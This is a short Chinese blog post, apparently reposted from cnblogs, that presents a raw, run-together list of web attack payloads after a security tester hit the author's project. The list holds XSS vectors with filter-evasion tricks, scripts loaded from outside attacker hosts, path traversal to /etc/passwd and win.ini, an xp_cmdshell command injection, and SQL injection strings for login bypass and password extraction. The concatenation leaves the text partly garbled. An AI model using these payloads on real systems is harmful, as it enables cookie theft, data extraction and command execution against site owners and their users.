最近在做的项目的时候，安全检测的同事做了XSS攻击，不看不知道，一看吓一跳。这玩意还真的是很恶心。导致网站各种莫名其妙的出现bug。下面是一些可以进行XSS攻击的代码。
'><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert(vulnerable)</script><script>alert('XSS')</script><img src="javascript:alert('XSS')"> <script>alert(\"Vulnerable\")</script>.jsp"../../../../../../../etc/passwd../../../../../windows/win.ini/index.html?.jsp?.jsp<script>alert('Vulnerable');</script><script>alert('Vulnerable')</script>?sql_debug=1a\.aspxa.jsp/<script>alert('Vulnerable')</script>a/a?<script>alert('Vulnerable')</script>"><script>alert('Vulnerable')</script>';exec master..xp_cmdshell 'dir c: > c:\inetpub\wwwroot\?.txt'--&&">&&SESSION_ID={SESSION_ID}&SESSION_ID=1 union all select pass,0,0,0,0 from customers where fname=http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd..\..\..\..\..\..\..\..\windows\system.ini\..\..\..\..\..\..\..\..\windows\system.ini'';!--"<XSS>=&{()}<IMG src="javascript:alert('XSS');"><IMG src=javascript:alert('XSS')><IMG src=JaVaScRiPt:alert('XSS')><IMG src=JaVaScRiPt:alert("XSS")><IMG src=javascript:alert('XSS')><IMG src=javascript:alert('XSS')><IMG src=javascript:alert('XSS')><IMG src="jav ascript:alert('XSS');"><IMG src="jav ascript:alert('XSS');"><IMG src="jav ascript:alert('XSS');">"<IMG src=java\0script:alert(\"XSS\")>";' > out<IMG src=" javascript:alert('XSS');"><SCRIPT>a=/XSS/alert(a.source)</SCRIPT><BODY BACKGROUND="javascript:alert('XSS')"><BODY ONLOAD=alert('XSS')><IMG DYNSRC="javascript:alert('XSS')"><IMG LOWSRC="javascript:alert('XSS')"><BGSOUND src="javascript:alert('XSS');"><br size="&{alert('XSS')}"><LAYER src="http://xss.ha.ckers.org/a.js"></layer><LINK REL="stylesheet" href="javascript:alert('XSS');"><IMG src='vbscript:msgbox("XSS")'><IMG src="mocha:[code]"><IMG src="livescript:[code]"><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"><IFRAME src=javascript:alert('XSS')></IFRAME><FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET><TABLE BACKGROUND="javascript:alert('XSS')"><DIV STYLE="background-image: url(javascript:alert('XSS'))"><DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"><DIV STYLE="width: expression(alert('XSS'));"><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE><IMG STYLE='xss:expre\ssion(alert("XSS"))'><STYLE TYPE="text/javascript">alert('XSS');</STYLE><STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE><BASE href="javascript:alert('XSS');//">getURL("javascript:alert('XSS')")a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);<XML src="javascript:alert('XSS');">"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT><IMG src="javascript:alert('XSS')"<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"--><IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"><SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT><A href=http://www.gohttp://www.google.com/ogle.com/>link</A>admin'--' or 0=0 --" or 0=0 --or 0=0 --' or 0=0 #" or 0=0 #or 0=0 #' or 'x'='x" or "x"="x') or ('x'='x' or 1=1--" or 1=1--or 1=1--' or a=a--" or "a"="a') or ('a'='a") or ("a"="ahi" or "a"="ahi" or 1=1 --hi' or 1=1 --hi' or 'a'='ahi') or ('a'='ahi") or ("a"="a[/code]
转载于:https://www.cnblogs.com/yuanchaoyong/p/7243007.html
相关资源：xss跨站攻击